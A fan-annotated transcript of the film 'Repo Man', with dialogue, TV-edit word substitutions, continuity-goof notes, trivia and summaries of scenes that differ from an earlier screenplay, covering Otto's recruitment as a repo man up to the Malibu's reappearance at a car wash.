Bud: (whistles) Hey kid! (Hey Punk!) (Honks his horn) Hey! Hey kid! Hey! Hey! Are you hard of hearing?
Otto: What do you want?
Bud: You want to make ten bucks?
Otto: Fuck you, queer. (Shove off, pervert)
Bud: Now wait a minute, wait a minute kid you got the wrong idea. (offers Otto a cigarette - "Commanders") Look my old lady is real sick and I got to get her to the hospital, okay?
Otto: So what? Take her there.
Bud: I can't. I can't leave her car in this bad area. Look I need some helpful soul to drive it for me, okay? She's pregnant. She's with twins. She could drop at any time. All right?
Otto: Well, uh, how much are you going to give me?
Bud: Fifteen bucks.
Otto: No. Won't do it for less than twenty.
Bud: Twenty-five. Follow me in my old lady's car. It's right here. okay?
Otto: All right... Where's, uh, where's your old lady at?
Bud: Never mind about that. Right now we need to get both of my cars out of this bad area, all right? Come on.
Otto approaches car, a white 4-door Cutlass sedan.
[ * Looking out of a window from an apartment overlooking the street, somebody pulls back a curtain to show Otto opening the door of the car, which has now become a 2-door coupe. *
from apartment:(a baby is crying) eh, Papa! (?) aqui. un gringo (en la calle consu coche) ]
Otto sits down in the car, which is now a 4-door Cutlass sedan again. Looking in from the front, we see a dashboard Virgin Mary and a Christmas Tree air freshener hanging from the rearview mirror.
(Radio: -- confirmed reports that radiation levels in Los Angeles have risen drastically during the last month. A spokesman for the NRC said this was normal for the time of year --)
Bud, in front, backs up.
Bud: Let's go. (Honks his horn several times)
A couple, probably in their 50s, come running around the corner as the music "El Clavo Y La Cruz" begins to play. The man reaches in the window and grabs hold of Otto.
Car owner: (Vete la chingada!) (Hijo de puta!) (followed by several more exclamations in Spanish)
As Otto drives off, the man holds on while running along side, but is thrown to the ground after just 1-2 seconds. Otto drives off and throws a dashboard Virgin Mary out the window while laughing the whole time. (The woman running after the car throws a rosary which gets caught and dragged, but then a handwritten notation on the script says that Otto finding it on the mirror and throwing it out the window is preferred.)
(FREEZE FRAME. Unfold the dread words: REPO MAN) (Credits Roll in handwritten notation.)
Bud and Otto drive down freeway, Chevy Malibu swerves in front of them. It is moving right across the lanes but has the left blinker on.
Otto follows Bud as he turns into the Repo Yard, with Miller opening the gate and waving them in. The music is muted when the camera shot shifts from inside Otto's car to outside, giving us the impression that it was playing on the radio in his car.
Bud and Otto enter the Helping Hand Acceptance Corporation
Miner, a large, muscular repo victim, and his girlfriend Delilah are standing by the entrance arguing with Oly. A low partition prevents them from entering the office. During this entire scene, Marlene is talking on the phone simultaneously with the other conversations.
Marlene: Helping hand acceptance corporation, Marlene speaking.
Miner: You know damn straight what I'm talking about. It's sitting right out side. It took me two weeks to get this money up so I can come and get it.
Marlene: I don't think so sir you'll have to call back. I'll call you back O.K.?
Oly: That ain't your car.
Delilah: Hey don't let him lie to you like that. Unh?
As Delilah says this, Bud enters and unlocks a door which lets him into the office. Miner and Delilah follow, approaching Oly who is sitting behind a desk.
Marlene: Thanks Bud.
Miner: Are you going to give me my car or do I got to go to your house and shove your dog's head down the toilet.
Marlene: Helping hand acceptance corporation Marlene speaking.
Plettschner: (sitting and knitting) Take it easy sonny boy.
Delilah: Shut up rent-a-cop.
Oly: Best goddamn (gol-durn) car on the lot.
Miner: You damn right it is.
Oly and Miner nervously exchange keys and money, then both begin laughing. Miner and Delilah turn and start to walk out.
Marlene: Will you, Will you hold please?
Marlene: Helping hand acceptance corporation Marlene speaking.
Miner: (to Marlene) Say moma what's happening? You want to take a lift?
Marlene: No thank you. L.A.P.D. I wanted to report a repo in Boro heights area.
Delilah: Let's go.
Miner and Delilah exit
Plettschner: A Cadillac. Is he a pimp? (Live in a Cadillac, sleep in a tent.)
Bud: Shut up Plettschner.
Otto enters. As he comes in the door, he appears to have just finished reversing the Open/Closed sign which previously read "Open" on the inside of the room but now says "Closed". * Throughout the rest of this scene, the sign changes back and forth several times. *
Marlene: Bud what street was that car on?
Bud: Honey I don't know, some alley uh. Hey kid!
Otto: What?
Bud: Hey what street was the Cutlass on?
Otto: I don't know. What happened to your old lady?
Marlene: They don't know I'll call you back.
Marlene: Helping hand acceptance corporation Marlene speaking.
Bud: My old lady? Oh shit (shoot) ! I forgot all about her. Well she'll take the bus. She's a rock.
Marlene: What kind of car? What kind of car?
Bud: Hey come on in. Marlene! Marlene!
Marlene: Can you hold?
Oly: Got a name kid?
Otto: Yeah! It's Otto.
Oly: Otto! Otto parts? HAHAHA
Oly throwing Otto a beer: Here kid.
The phone rings and Oly answers
Oly answering the phone: Helping hand.
* Marlene is talking on the phone, but a continuous cut now shows her holding a pencil in both hands. *
Marlene: You got a drivers license honey?
Oly on the phone: Oh Yeah! Fuckin-a (flippin right) we ripped your car. Asshole (airhead) !
Marlene: Let me see it.
Oly on the phone: You want to know who told us where it was? Your goddamn (gol-durned) brother.
Marlene: Are you really twenty-one?
Otto: That's what it says doesn't it.
Oly: Hey you want some help with that beer kid?
Otto: You're all repo men.
Oly: What if we are?
Otto pours the beer on the floor.
(Otto simply mumbles that being a Repo Man is like being a landlord. After laughing at him, the Repo Men splatter him with beer. A handwritten note says that Otto isn't "tuff enuf" and maybe should pour beer on the floor to get back at them.)
Bud: You know kid, uhh, usually when someone pulls shit (stuff) like that my first reaction is uhh I want to punch his fucking (flippin) lights out.
Bud: But you know something?
Bud and Oly: (in unison) You're all right!
Bud: Right Lite?
Lite enters
Lite: Got any messages for me baby?
Marlene: Yeah. Here you go.
Oly: Cracks me up.
Lite: Somebody pissed (puked) on the floor again?
Oly: Maybe he's looking for a job? Huh budsky?
Bud: Could be? What do you say kid were always on the look out for a few good men.
Otto: Screw (stuff) that! Ain't going to be no repo man. No way!
Marlene, handing Otto the 25 dollars: It's too late...you already are.
Otto out in the repo yard with Miller
Miller (handing Otto a pine tree air freshener): You find one in every car. You'll see.
(This is where the scene in the market with Mr. Humphries firing Otto takes place. This is followed by a short version of the Otto at Home scene which is followed up with a shot of Otto living in the garage as seen in the deleted scenes. There is then a moderately long Kafka-esque scene of Otto at his Army examination where we get introduced to Captain Bellknap and his blond assistant Danvers. Back in the Desert and Otto and Kevin in the Rain are not in this version of the screenplay.)
Back in the desert
We begin scene looking through the windshield of a police motorcycle. The windshield of the police motorcycle naturally has a pine tree air freshener hanging from it. We see some people searching around in the desert, most of them in radiation suits, with a local sheriff following a woman in a business suit. We can faintly hear both the police radio on the motorcycle and the sheriff talking.
Radio: Come in Officer Labeef do you read me?
Radio: Chuck, will you stop screwin' around?
Sheriff: [ Years ago I saw five cows mutilated. Legs sticking up in the air. Their ah their ah testicles were cut off. I think Canadian bacon is better myself. ] I've never seen the like of that.
Radio: I've got the stats on that car, Officer Labeef.
Radio: Ten-forty Baker...
Sheriff: What could have done that to him? Gasoline? Napalm?
Agent Rogersz: It happens sometimes. People just explode. Natural causes.
Sheriff: What?
Agent Rogersz: Suspect presence on west coast confirmed. Do not notify police.
Otto and Kevin in the rain
Otto and Kevin are sitting on a ledge with people going in and out of a door behind them. It's an unemployment office. Kevin has a newspaper on his lap along with some other papers. Otto is wearing what looks like some kind of red Chinese hat.
Otto: Night watchman in Pomona.
Kevin: Yep.
Otto: Asbestos worker. City of industry.
Kevin: Yep Yep!
Otto: French fry maker Agoura. Ha Ha that's absurd.
Kevin: Yeah? Well you think it's funny huh? There's fucking (lots of) room to move as a fry cook, man. You know I could be manager in two years? King! God! (egad!)
Otto: You know Kevin, I had this wild fucking (flippin) dream the other night.
Kevin: I bet.
Otto: It was with you and me and we were working in this sleazy shithole (shabby) motel down in Miami, Florida. And we were bellhops and we were sixty-five years old. It was so real it was really real, realistic.
Kevin: And then what, you woke up in a puddle (cold sweat) ?
Otto: Fuck you! (drop dead) Fucking (you) jerk.
Otto stands up and starts to walk away.
Kevin: Where you going asshole (snotnose) ?
Otto: Away from you.
Otto at Home
The Edge City #127 bus pulls forward and stops. As a crowd of people get on, Otto struggles to get off, taking off his "chinese hat" and setting it on the head of a child getting on the bus. Happy Animals plays in the background on a radio.
Note: Edge City, the name of the film's production company, was the alternate title for Alex Cox's first film Sleep is for Sissies, made while he was attending film school at UCLA. It appeared originally as a recurring theme in Tom Wolfe's "Electric Kool-Ade Acid Test".
We now cut to the Reverend Larry's face on a television screen, and then discover that we are inside of Otto's house where his parents are watching TV and Otto is just entering. Note that in the credits, the parents are listed simply as "Otto Dad" and "Otto Mom".
Reverend Larry on the TV: The lord has told me personally. Yay for I walk with the lord, Amen. He said Larry you and your flock shall seek the promised land. But only if you first destroy the twin evils of godless communism abroad and liberal humanism at home. Oh joy and Hallelujah smash'em down. Now my friends.
Otto: Mother, father. Got anything to eat?
Otto goes to the kitchen, opens the referigerator and pulls out a can of generic "food". He begins eating straight out of the can.
Reverend Larry: Occasionally we get a letter from a viewer that says now the only reason Reverend Larry comes on your television set is because he wants your money. And do you know what? They're right! I do want your money. Because god wants your money. So I want you to go out and mortgage that home and sell that car and send me your money. You don't need that car. (continues in background)
Otto mom: Put it on a plate son you'll enjoy it more.
Otto: I couldn't enjoy it any more mom MMM MMM MMM This is swell.
Otto: Dad? Hey Dad?
Otto dad: What is it son?
Otto: Do you remember that you once told me along time ago. Well not too long ago but ummm. That you told me that you'd give me a thousand dollars to go to Europe if I finish school. Well you know something? You were right. About finishing school that's ah that's what I'd like to do. But umm I want to know if I could have the money first. Like now. [ You know I really love you Dad I've always loved you. You too mom. What do you say?
Otto mom lights a joint.
Otto dad: I don't have it anymore.
Otto: What? ]
Otto mom takes a drag off of the joint.
Otto mom: You father gave all our extra money to the Reverend's telethon, Otto. [ We're sending bibles to El Salvador. ]
Otto: Well what about me?
Otto dad: You're on the honor roll of the chariots of fire. Same as us, Otto. It was a gift. From all of us jointly.
Otto mom: We're sending bibles to El Salvador.
Otto beds down in parents garage and smokes a joint. This scene can be seen on the "Missing Scenes" featurette.
Otto and Bud riding in Bud's car
See See Rider plays on the radio. In almost all scenes inside of Bud's car, Jazz music will be playing on the radio.
In this sequence the background changes from day to night, back to day, and back to night again (during the speed snorting scene) even though the dialog (and radio music) seems continuous. This was intentionally done to show the passage of time, but the disjointed events are cut so smoothly as to make it seem like a continuity goof. It's clearer in the TV version where there truly is a break between the line about speed and the actual snorting.
Otto: So how much do I get paid, twenty-five bucks a car?
Bud: Paid? You don't get paid. Are you kidding, you work on commission, that's better than getting paid.
Bud: Most cars you rip are worth two or three hundred dollars. Fifty thousand dollar Porsche (german pronounciation) might make ya five grand.
Bud honking at car in front of him: Come on dickhead (dumbhead) .
Cut to night
Bud: It helps if you dress like a detective, too. Detectives dress kind of square. People think this guy is a cop. They're going to think you're packing something. They don't fuck (mess) with you so much.
Otto: Are you?
Bud: Am I what?
Otto: Packin' something.
Bud: Ha. Only an asshole (a jackass) gets killed for a car.
Note that later in the film we will discover that Bud actually does pack something.
Cut to day (A brief exchange occurs based on Otto telling Bud that doing repo work sounds better than juvy) .
Bud: Guys who make it are the guys who get into their cars at any time. Get in at three A.M.get up at four. That's why there ain't a repo man I know that don't take speed.
Otto: Speed huh?
Bud at payphone
Bud is talking on phone. (Bud is chewing out a woman named Dolores for not making her payments when the phone goes dead.)
Bud: I'll call you back! (hangs up) Flippin general telephone.
Bud picks up phone and dials. Phone begins making a loud whining noise.
Bud gets sledgehammer from car and destroys phone while Otto watches. When Bud is done, Otto gets crowbar from car and beats side of phone with it while laughing.
Bud: C'mon. (Let's go see your friend.)
Otto and Bud in car in alley
(In the television version, this entire scene takes place while watching Bud's car drive down a road, but you can still hear the snorting in the background.)
[ Bud snorting a line: Jesus Christ. ]
Bud: Never broke into a car. Never hot-wired a car. Kid. I never broke into a trunk. I shall not cause harm to any vehicle nor the personal contents thereof. Nor through inaction let that vehicle or the personal contents thereof come to harm. That's what I call the repo code, kid. Don't forget it, etch it in your brain. Not many people got a code to live by anymore.
Bud: Hey! Hey look at that. Look at those assholes (that) over there.
We see a tow truck with a car hanging from it. Four tennis players are running around next to the car and appear to be very agitated. Lite is leaning calmly on the tow truck while the driver stands and watches.
Bud: Ordinary [ fucking ] people I hate 'em.
Otto: Me too.
Bud: What do you know? See an ordinary person spend his life avoiding tense situations. Repoman spends his life getting into tense situations.
(during a tornado chasing scene in the movie Twister, two flunkies in one of the chase vehicles quote this line)
Bud: [ Assholes ] ! Lets go get a drink.
(Instead of drink, it's Club, but a handwritten note suggests changing the name to something non-product specific.)
Otto and Bud in a store
Bud sets 2 six packs of "drink" down on the counter.
Bud: Tense situations kid. Get into five or six of them a day and it don't mean shit (zilch) any more. I mean I seen men stabbed and it didn't mean shit (zilch) . I've seen guns. Guns too they don't mean shit (zilch) but that's when you got to watch your self. Here I'll handle it pal. Uh settle down.
Bud: Have a nice day. Or night. Night, day, it doesn't mean shit (zilch) .
Duke, Archie, and Debbi rise from behind counter as Otto and Bud leave. They are holding guns on the cashier and rifling the cash register.
Duke: Wasn't that Otto?
Debbi: Otto who?
Duke: You gotta watch yourself. (takes off mask) Have a nice day . . . night.
Parnell drives Malibu across bridge
The Malibu passes Agent Rogersz van. It's parked on the bridge and two men in radiation suits are working under the hood.
Otto and Bud in front of house with tow truck
Bud: This is what I call phase 2 ace. If the dealer don't have the keys, you call the truck. And it is a heartbreak to be sitting waiting for the truck and the giblet comes out and drives it away. Once you've got this baby on the hooks, she's all ours.
Man comes out of house with shaving cream on face.
Pakman: Oh no you don't. I'm nipping this in the bud right now. You are not going to take this car. I know my rights. There is absolutely no way you're going to take it.
Bud: Uh, are you miss Luann Pakman?
Pakman: Obviously not. I'm Arthur Pakman. Luann is my daughter. Now you're going to have to take this matter up with her.
Bud: Well don't think I haven't tried, sir, but she hasn't had the decency to call us in months. I mean, I've skipped trace this car all over town.
Pakman: Well, uh, Luann is sick. Now the damn car isn't working anyway, and I know, I know that's why she hasn't paid you.
Bud: Well, she could have called us? Look, all you've go to do is call my branch manager, I will abide with whatever he says.
Bud hands Pakman a business card.
Pakman reading card: I. G. Farben. . . What do you take me for, a moron? If I go in there, you're going to take this car away.
note: see the FAQ for information on I. G. Farben.
Bud: What, and lose my job? The law requires that I stay right here until you call my branch manager.
Pakman: That's the law?
Bud: That's the law.
Pakman begins walking toward house.
Pakman: I'll be right back.
Pakman goes inside and Bud and Otto leave with the car as Pakman comes running back out of the house.
Otto and Bud driving down concrete riverbed
Bud: There's going to be some bad shit (stuff) coming down one of these days kid.
Otto: Oh yeah? Where you going to be? On the moon?
Bud: Ung Uh, I'm going to be right here heading north at a hundred and ten per.
Otto: In this junker?
The Rodriguez brothers pull up along side of them in a red convertible with black fuzzy dice hanging from the rear view mirror. Latino music plays on the radio.
Otto: Cool car.
Bud: Uh Oh! The Rodriguez brothers.
[ Lagarto flips them off
Otto: Motherfucker just flipped you off.
Bud: Roll the window down. ] Roll the window down.
Lagarto: A donde vas, pendejo?
Bud: A chingas tu esposa!
A brother: Hey Bud, hey Bud, who's your new girlfriend?
Otto: Watch it mother fucker. (Girlfriend? watch it melonfarmer!)
Lagarto: Hey fuck you pussy punk. (flip you, you punk.)
[ Otto: Holy shit. ]
Napo: Want me to take them?
Otto: Wo! Hey!
They chase each other and end up sliding out in a huge puddle. * In one shot during the chase, Lagarto is missing from the passenger's seat *.
Bud: God damn dipshit Rodriguez gypsy dildo punks. I'll get your ass!
(Bud: dang blamed dumb suck Rodriguez gypsy devil punks. I'll get your can!)
Otto: HAHAHA WOW! That was intense.
Bud: Repo man's always intense. Come on let's go get a drink.
Otto: Gee bud. You never told me it was going to be like this man. Cops and robbers. Hahahahah. Real live car chases. Hahahahah.
Duke, Archie and Debbi leaving a liquor store they just robbed
Archie has a bag over his head. Debbi, wearing a ski mask, fires a shotgun into the air for no apparent reason.
Archie: Shit (shoot) ! Duke!
Duke: If you say our names we'll have to kill all these people, Archie.
Archie: They all ran away.
Debbi: Come on you douchebags. (come on, get the lead out.)
They run out, Archie's bag flying off his head. Bud and Otto enter just after they leave.
Bud: Awful quiet in here. It's too quiet.
Otto: So who are these Rodriguez boys.
Bud: Rodriguez brothers. Lagarto and Napoleon. Two notorious delinquents currently responsible for at least thirty vehicles in the field.
Quick shot of Rodriguez brothers in car lot signing papers on a car.
(Bud: What they do is this. One of them buys a hundred-dollar junker and they pay it off in time. Never miss a payment. Now they've got a perfect CREDIT RECORD. Dig? ... A week later they come back looking for another car. They sign the papers and they're outta there in a brand new Chrysler LE BARON. With no money down. And that's the last dealer ever sees of 'em. Three missed payments later, it's another job for REPO MAN.)
(Lite does not appear until much later in this version of the screenplay; the following scenes with Lite and Otto were added later)
Lite and Otto driving in Lite's car
Otto: Scumbags
Lite: They ain't scumbags. They car thieves just like use.
Lite: There's Miss Magruder. You want to go for it?
As Lite comes to a stop, he hands Otto a bag. Otto looks inside and laughs.
Otto: Good gag, you pull this one a lot?
Lite: Only on the women. It never fails.
Otto gets out of the Lite's car and approaches a convertible.
Otto: Excuse me? Miss Magruder? I have something here for you.
Otto takes dead rat from bag and tosses it into Ms. Magruder's car
Ms. Magruder: Uhm how utterly charming.
Ms. Magruder sprays Otto in the face with mace and then drives off when the traffic light changes. The music changes to Reel Ten as Lite takes off in pursuit.
Otto: Ow! Ow! Ow! Motherfucker! (mother...) Ow! Ow! Ow! Christ! I'm blind man. Lite? Lite, where are you man?
(in a quick scene, Marlene informs the repo men that the collateral on the Malibu has been raised from one thousand to five thousand dollars.)
Otto and Bud driving in Bud's car
A few bars of Reel Ten play in the background and taper off. The car comes to a stop.
Bud:Bruce I. Peason, brokerage consultant. Fucking (flippin) millionaire six payments behind. I've never understood it.
Otto: What's that?
Bud: The fucking (flippin) millionaires. They never pay their bills. See you at the yard.
Otto: Let me get this one.
Bud: No. I'll handle this one. Mister Peason is carrying a permit for a pistol.
Bud: Hey! Hey! Hey! Give me that.
Otto grabs the keys, gets out of the car and jauntily approaches a huge red Cadillac convertible parked in front of a laundromat.
Otto: (turning back towards Bud) Don't underestimate me ace.
Inside laundromat, talking to two kids:
Peason: And also, naturally, I'd like them to be right next to each other. In addition I'd like them to be as close to the window as possible so I can sit in my car and watch my things. So all you have to do is take your clothes out of here like this and put them into a machine over there like that.
Peason Sees Otto driving off with the car.
Peason: Oh my god (lord) ! Oh! Oh my god (lord) ! Stop!
Peason runs out door after car. Two kids grab Peason's clothes and throw them out the door while laughing.
Otto driving the car, a red Cadillac
Car radio plays Pablo Picasso. Otto sees Leila running on the sidewalk and slows down while watching her.
Otto: Hey! Hey! You want a ride? Hey babe need a ride?
Otto runs into some garbage cans, stops and gets out just as an old lady walks up.
Old lady: Pick it up! Look at you. You pick it up. You know yourself you were wrong.
Otto: Well what were they doing out in the middle of the street?
Old lady: They weren't in the middle of the street. That not the middle of the street that's the corner.
Old lady: Go on you pick it up.
Otto: What?
Old lady: You pick it up.
Otto: Haha, no way. You still want a ride or what?
Old lady: No I don't.
Leila and Otto drive off in the car
Otto: My name is Otto.
Leila: Leila. Is this your car?
Otto: Yeah it's one of them.
Leila: Heh, one of them? You think you're pretty slick don't ya? I bet you're a used car salesman.
(Otto feeds Leila a story about being a rock star. Handwritten in red ink are instructions stating that the following lines are very important and they should not forget to include them:
Leila: Gee, Otto. You've really been around. Animal trainer, faro dealer, mercenary, spy. Now you're a PUNK ROCK STAR --
Otto: Well music's where my head is really at. I guess I'm in the vanguard of the POST APOCALYPTIC SENSIBILITY. You know?)
Otto: I am not.
Leila: You dress like one.
Otto: I'm a repo man.
Leila: What's that?
Otto: It's a repossesser. I take back cars from dildos (deadbeats) who don't pay their bills. Cool huh?
Hombre Secreto plays on car radio.
Leila: No.
Leila hides as a car with two men in mirrored sunglasses pulls up beside them
Otto: What are you doing?
Leila: Those men in the car next to us don't look at them. Don't look at them! If they see me they'll kill me.
Otto: Really why?
Leila grabs wheel and turns.
Otto: Ow! What the hell are you doing?
Otto: What's going on?
Leila: Take a look at this.
Leila shows Otto a picture of condoms filled with water and wearing grass skirts. We notice that she is wearing a yellow happy face watch.
Otto: What's this? It looks like sausage.
Leila: It isn't sausage, Otto. That's a picture of four dead aliens.
Otto: HAHAHAH
Leila: Laugh away fuckface (fatface) that picture is going to be on the cover of ever major newspaper in two days time.
Otto: How do you know that?
Leila: Part of a secret network. A scientist who is also in our secret sect smuggled the corpses off of this air force base. Now he's got them in the truck of his car. It's a Chevy Malibu. We've got to find him.
Otto: What are you going to do with them, put them on Johnny Carson?
Leila: Yes! We're going to have a press conference and tell the world.
Radio: Ehw. What's that? I don't know dear. But it is alive. It seems friendly though. Aw look it's curled up. How cute oh no. Maybe we can take it home it doesn't seem to have any. Oh yes let's. But no! No matter how appealing do not let strange creature in you house. We all know strange creatures are on the increase. Many of them do seem furry and adorable, but beware we don't know from whence they came. Be safe. Be safe. Report strange incidences today. (continues in background)
They pull up in front of a building
Otto: United fruitcake outlet.
Leila: My door doesn't open.
Otto lets Leila out
Leila: Thanks for the ride.
As Leila stands there, we notice she has a yellow happy face pin on her dress.
Otto: Sure Ummm I don't know. what do you think? Ah want to go out with me again sometime?
Leila: I don't know. I'm going to be kind of busy with work, the Malibu and everything.
Otto: Hey great. Terrific. Here's your shit (stuff) .
Leila: What's your problem? I mean girls might like you if you lightened up a little bit.
Otto: Fuck (Flip me) . Girls pay to go out with me. All right?
Leila: You wanna get back in the car?
Otto: What, here?
Leila: Yeah.
Watching from outside the car, squeals are heard from the back seat as people walk by in a short speeded-up time lapse segment.
(The scene, playing out slightly differently, ends with them at the Santa Monica Cliffs and exiting the car disheveled and wearing each others clothes.
Otto: This friend of yours. What kind of car is he driving?
Leila: A Chevy Malibu. With New Mexico Plates.)
Back at the Helping Hand Acceptance Corporation
Oly: Twenty thousand dollars for a Chevy Malibu?
Oly: Who's double X finance?
Marlene: Store front operation, but the money is in escrow.
Otto sits down and picks up a copy of the News. The alien picture is on the front page and the headline reads "Top Professors Startling Discovery: ETs Will Land Any Day Now".
Marlene: Want me to notify the boys?
Oly: Uh, naw. They're always bitching (crying) about their case load. I think I'll go out for a while.
Marlene: Why? We out of beer?
Oly: Somebody has to work around here. Keep making me money kid.
Otto: (* his mouth closed and lips not moving *): Fuck (flip) you.
Otto and Lite out in the field
Lite: Man we've been looking for this little red devil for a long time. Just act natural. Nobody knows if it's your car or somebody elses car.
They approach the car, Otto carrying the slimjim and Lite carrying his briefcase.
Lite: Now you work with that. You give it a try. All right?
Lite: Let me give you a hand we don't have a whole year to find it boy.
Together, they slimjim the car and open the door.
Otto: Got it.
With the alarm going off, Lite hands Otto the briefcase and gets in the driver's seat. Otto walks around car, gets in and opens the case.
Lite: Lets get out of here.
Lite begins pulling tools out of the case as he pops the ignition and hotwires the car.
Lite: Put your seat belt on boy! I don't ride with anybody unless they wear their seatbelt. It's one of my rules.
Otto, going through Lite's briefcase, picks up gun.
Lite: Put that damn gun down boy. It ain't no toy. [ Shit. ]
The car starts, the alarm goes off and they drive away.
Driving away in the car
(Lite's monologue starts as in the song Bad Man)
Lite: I walk into someone's place of work. They shit (plum) scared. They know I'm not a cop. They think I've come to kill 'em and I would. I'd kill anybody who crosses me. You know what I mean?
Otto goes through glove compartment, puts on pair of sunglasses he finds there (reference to the movie Kings of the Road with cinematography by Robby Mueller). * Lite puts a lighter to the cigarette in his mouth, but fails to light it *. A few moments later he does it again and succeeds in getting it lit.
Lite: Do you like music?
Otto: Sure.
Lite: In that case you're going to love this.
Lite puts a cassette in the player and music starts. Although the monologue is based on the lyrics for Bad Man, the music playing here is probably I Just Want to Satisfy.
Lite: I was into these dudes before anybody. Partied with them all the time. Asked me to be their manager.I called bullshit (no way) on that. Managing a pop group hey that ain't no job for no man.
Otto sees boxes wrapped in ribbons in back seat and hands one to Lite who throws it out window. A car runs over box and we see that it is full of money. Otto continues throwing boxes out of the window.
Lite: You read that book I gave you?
Otto: What book?
Lite: Dioretix. Science of matter over mind.
Otto: Unh uhg
Lite: You'd better read it and quick. That book will change your life. Found it in a Maseratti in Beverly hills. [ You know what I mean? ]
Otto and Miller in vacant lot under bridge
(no part of this scene is in the older screenplay)
Otto holds up book he's about to throw in burning garbage can. Book says "Dioretix: The Science of Matter over Mind. By A. Rum Bi...". This is a reference to "Dianetics" by Scientology founder L. Ron Hubbard.
Miller: A lot of people don't realize what's really going on. They view life as a bunch of unconnected incidences and things. They don't realize that there's this like lattice of coincidence that lays on top of everything. I'll give you an example, show you what I mean. Suppose you're thinking about a plate of shrimp. Suddenly somebody will say like plate or shrimp or plate of shrimp out of the blue no explanation. No point in looking for one either. It's all part of a cosmic unconsciousness.
Otto: You eat a lot of acid Miller, back in the hippie days?
Miller: I'll give you another instance. You know the way everybody's into weirdness right now. Books in all the supermarkets about Bermuda triangles,UFO's, how the Mayans invented television. That kind of thing.
Otto: I don't read them books.
Miller: Well the way I see it it's exactly the same. There ain't no difference between a flying saucer and a time machine. People get so hung up on specifics. They miss out on seeing the whole thing. Take South America for example. In South America thousands of people go missing every year. Nobody knows where they go. They just like disappear. But if you think about it for a minute, you realize something. There had to be a time when there was no people. Right?
Otto: Yeah. I guess.
Miller: Well where did all these people come from? hmmm? I'll tell you where. The future. Where did all these people disappear to? hmmm?
Otto: The past?
Miller: That's right and how did they get there?
Otto: How the fuck (hell) do I know?
Miller: Flying saucers. Which are really? Yeah you got it. Time machines. I think a lot about this kind of stuff. I do my best thinking on the bus. That how come I don't drive, see?
Otto: You don't even know how to drive.
Miller: I don't want to know how. I don't want to learn. See? The more you drive, the less intelligent you are.
Driving around in Bud's car at night
(Bud tells Otto about the time he saw a UFO, then regrets telling him)
Bud: You know I think I saw one of those things once. One of those UFOs. I mean it was really it was kind of kind of scary. I saw all these colored lights and, uh, sounds. I mean sounds and lights like I never heard before. I mean it was really weird.
Otto: Bud.
Bud: Yeah?
Otto: Do you think all repo men follow the code?
Bud: Of course. Well I mean you see a lot of fucked (messed) up cars come in but...99 time out of 100 it was the customer who fucked (mucked) them up. Assholes (Damn fools) .
Malibu weaves down the street at night.
We see a close-up of Parnell at the wheel with his broken sunglasses. Eerie mood music plays in the background.
Bud in phone booth outside the Rodriguez brothers'apartment.
Bud: I'm offering a thousands dollars for his Falcon. You know what that is Napoleon? It's a bribe.
Napo: Who the hell is this? Napoleon? Who the fuck (hell) are you calling?
Bud: It's a grand if you show me where his car is Napoleon.
[ Napo: Ahh. Go fuck yourself asshole. ]
Bud: Hello? Prick (Jerk) .
Inside the Rodriguez brothers' place, Napo looking at repo sheet on Malibu, which Marlene brought to them. The room is filled with crates. Napo sits at a table with a half-assembled machine gun.
Napo: Sixty-four Chevy Malibu. Twenty grand.
Bud (from outside the window): Waiting!
Napo: We could buy ten of them for that, Marlene.
Marlene: Think you can find it now?
Bud in the street: I'm not going anywhere.
Napo: Now how come this junk is worth so much? What's in it? Drugs?
Bud in the street: Got all night amigo!
Lagarto: Los Hermanos Rodriguez don't approve of drugs.
Marlene: Neither do I, but it's my birthday.
(Marlene talks about using the money to buy guns and medical supplies for their "brothers in Central America", then impresses everyone with how quickly she can assemble a machine gun.)
Bud in the street: I'm going to get your [ ass ] .
[ Marlene: That motherfucker's still down there. ]
Bud in the street in front of the Rodriguez brother's house
Bud: Don't care how long it takes, dildos (jerks) . Repo man's got all night every night.
Brothers make paper airplane of repo sheet and float it down to Bud. Bud picks it up and reads it.
Bud: [ Jesus Christ ] twenty thousand dollars.
Agent Rogersz in her van listening to an earpiece
(The blond agent, named Gloria, is questioning Leila about the Malibu. The screenplay then jumps straight to the car wash scene.)
Leila's answering machine: Hi this is Leila. I'm not here right now. So please leave your name, number and a brief message and a time you called at the beep. And please try to be frank.
Otto: Hey Leila! All right, um, this is Otto. The guy who gave you a ride and stuff. I heard something about that car.
Leila answering the phone: Otto? Otto?
Leila and Otto at the United Fruitcake Outlet
An agent photographs Leila and Otto as they enter the building. * Otto already has bruises from the beating he takes several scenes later. *
(a white, middle class UFO cultist lady explains why they chose the HAPPY FACE as their symbol)
Leila takes Otto into a cinderblock room which has a neon sculpture on the wall and in the center of the room, standing on a pedestal, is a humorous statue of what could be a squat bigh-headed humanoid type alien.
Leila: Otto. Otto stop. You said you had something to tell me.
Leila: Otto? Otto!
Otto: Huh?
Leila: What did you want to tell me?
Otto: Oh! Take off your clothes.
Leila: I'm at work, Otto!
Otto: Oh yeah? Me too.
Leila: Your work is different than mine.
Otto: Says who?
Otto takes down his pants (according to the filmmakers, Estevez enjoyed doing this on a regular basis. Maybe they were just joking?).
Leila: What are you doing.? Don't do that.
[ Otto: Well the least you could do is give me a blow job.
Leila slaps Otto
Otto: Heh, I guess that means no. ]
A woman enters the room
Deirdre: Leila? We have a cell meeting in two minutes time.
* She doesn't pronounce Leila the same as everywhere else in the film. *
Leila: Thanks Deirdre. I'll be right there.
Leila slaps Otto again and leaves. Otto laughs.
Bud and Lite parked in their cars side by side
Bud: See that motherfucker (melonfarmer) only thinks I don't know what's going on, Lite. As soon as I find that Chevy I'm going indy. I'm going to buy myself a tow truck, a couple of pitbulls, and run a yard. Sit around and watch everybody else do the work for a while (change) .
Lite lights up a roach.
Lite: No way you can do that on twenty grand man.
Bud: The hell I can as long as you have good credit and my credit is spotless.
(Bud: The hell I can't, as long as your credit record's good and mine is spotless.)
Lite: If I find the Malibu, you won't see me for dust, I'm going to move to Mendecino County, raise me a bumper crop of tomato plants. (brussels sprouts)
Bud and Otto in a car
Bud: Credit is a sacred trust. It's what our free society is founded on. You think they give a damn about their bills in Russia? I said do you think they give a damn about their bills in Russia?
Otto: They don't pay bills in Russia. It's all free.
Bud: All free? Free my ass, what are you a fucking (flippin) commie? Huh?
Otto: No I ain't no commie.
Bud: Well you'd better not be I don't want any commies in my car. No Christians either.
Chevy Malibu exits car wash and pulls up to gas pumps.
That's director Alex Cox wiping the car as it pulls away from the car wash and over to the pumps.
It is reported that the actor driving the car, Fox Harris, damaged one of the Malibus after crashing into one of the pumps. You can supposedly see a severely damaged pump, but I've not been able to spot it.
